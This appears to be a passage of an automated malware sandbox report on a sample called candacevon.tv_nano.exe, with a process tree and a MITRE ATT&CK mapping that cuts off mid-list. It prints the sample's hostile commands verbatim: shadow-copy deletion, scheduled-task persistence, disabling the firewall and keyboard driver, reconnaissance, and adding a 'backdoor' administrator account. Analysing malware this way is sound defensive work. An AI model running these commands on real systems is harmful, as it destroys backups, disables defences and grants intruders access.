  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4544
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  PID:2744
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\candacevon.tv_nano.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5948
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\candacevon.tv_nano.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3224
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2564
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of AdjustPrivilegeToken
    PID:64
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:452
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4392
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1608
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2672
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4820
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5040
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3948
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:5648
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4476
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:3920
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\candacevon.tv_nano.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2708
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:204
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1964
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1676
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:3824
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:5676
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:5468
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5848
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:456
- C:\Windows\system32\svchost.exe
  "C:\Windows\system32\svchost.exe"
  2⤵
  PID:3028
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:4236
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5260
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  - Suspicious use of WriteProcessMemory
  PID:1356
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:5940
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2904
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators backdoor /add
    3⤵
    PID:3844

C:\Users\Admin\AppData\Local\Temp\candacevon.tv_nano.exe
C:\Users\Admin\AppData\Local\Temp\candacevon.tv_nano.exe
1⤵
PID:3024

C:\Users\Admin\AppData\Local\Temp\candacevon.tv_nano.exe
C:\Users\Admin\AppData\Local\Temp\candacevon.tv_nano.exe
1⤵
PID:5032

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Debugger Evasion

T1622

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Debugger Evasion

T1622

Peripheral Device Discovery

T1120

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

T1012

System Information Discovery